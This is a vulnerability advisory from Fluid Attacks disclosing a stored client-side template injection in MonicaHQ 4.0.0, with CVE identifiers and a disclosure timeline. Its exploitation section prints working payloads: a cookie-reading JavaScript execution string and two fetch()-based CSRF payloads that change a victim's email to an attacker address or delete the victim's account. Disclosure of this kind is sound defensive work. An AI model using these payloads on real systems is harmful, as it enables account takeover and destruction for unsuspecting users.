MonicaHQ 4.0.4 - Client Side Template Injection

8

High

Discovered by 

Lautaro Casanova

Offensive Team, Fluid Attacks

Summary

Full name

MonicaHQ 4.0.4 - Client Side Template Injection

Code name

State

Public

Release date

17 abr 2023

Affected product

MonicaHQ

Affected version(s)

4.0.0

Vulnerability name

Client Side Template Injection

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVSS v3.1 base score

8.0

Exploit available

No

Description

MonicaHQ version 4.0.0 allows an authenticated remote attacker to execute malicious code in the application. This is possible because the application does not correctly validate the data entered by the user.

Vulnerability

This vulnerability occurs because the application does not correctly validate the data entered by users when creating new contacts within the application, as well as the characteristics of the contacts themselves.

Exploitation

First we create a contact:

After creating the contact you can edit its characteristics. At this point there are many inputs which are vulnerable. The PoC of the exploitation of one of them will be shown but it applies to all the others. In this case we edit the food preference feature. We inject the following payload which interprets:

{{7*7}}

At this point we can say that it is vulnerable to CSTI since we see the value 49 reflected.

Thanks to this it is possible to inject JavaScript code, which is interpreted.

{{{}.toString.constructor('confirm(document.cookie)')()}}

As the XSS is stored, CSRF can be applied to change another user's email address or delete their account.

Evidence of exploitation

CSTI to CSRF Change mail

{{ fetch('http://localhost:8080/settings/save', {
 method: 'POST',
 headers: {
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body: new URLSearchParams({
 _token: document.querySelector('[name="_token"]').value,
 id: 3,
 first_name: 'test',
 last_name: 'testt',
 email: 'attacker@test.com',
 locale: 'es',
 currency_id: 4,
 temperature_scale: 'celsius',
 timezone: 'Europe/Madrid',
 reminder_time: '12:00',
 name_order: 'firstname_lastname_nickname',
 fluid_container: 1
 })
 })
 .then(res => res.text())
 .then(text => window.location.href = text)
}}

CSTI to CSRF Delete Account

{{
 fetch('http://localhost:8080/settings/delete', {
 method: 'POST',
 headers: {
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body: '_token=' + document.querySelector('[name="_token"]').value
 })
 .then(res => res.text())
 .then(text => window.location.href = text)
}}

Our security policy

We have reserved the CVE-2023-1031, CVE-2023-1094, CVE-2023-30787, CVE-2023-30788, CVE-2023-30789, CVE-2023-30790 to refer to this issue from now on. Disclosure policy

System Information

  • Version: MonicaHQ 4.0.0

  • Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

Timeline

IA generativa

30 mar 2023

Vendor Confirmed Vuln.

17 abr 2023

Vendor contacted

30 mar 2023

Public disclosure

17 abr 2023

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.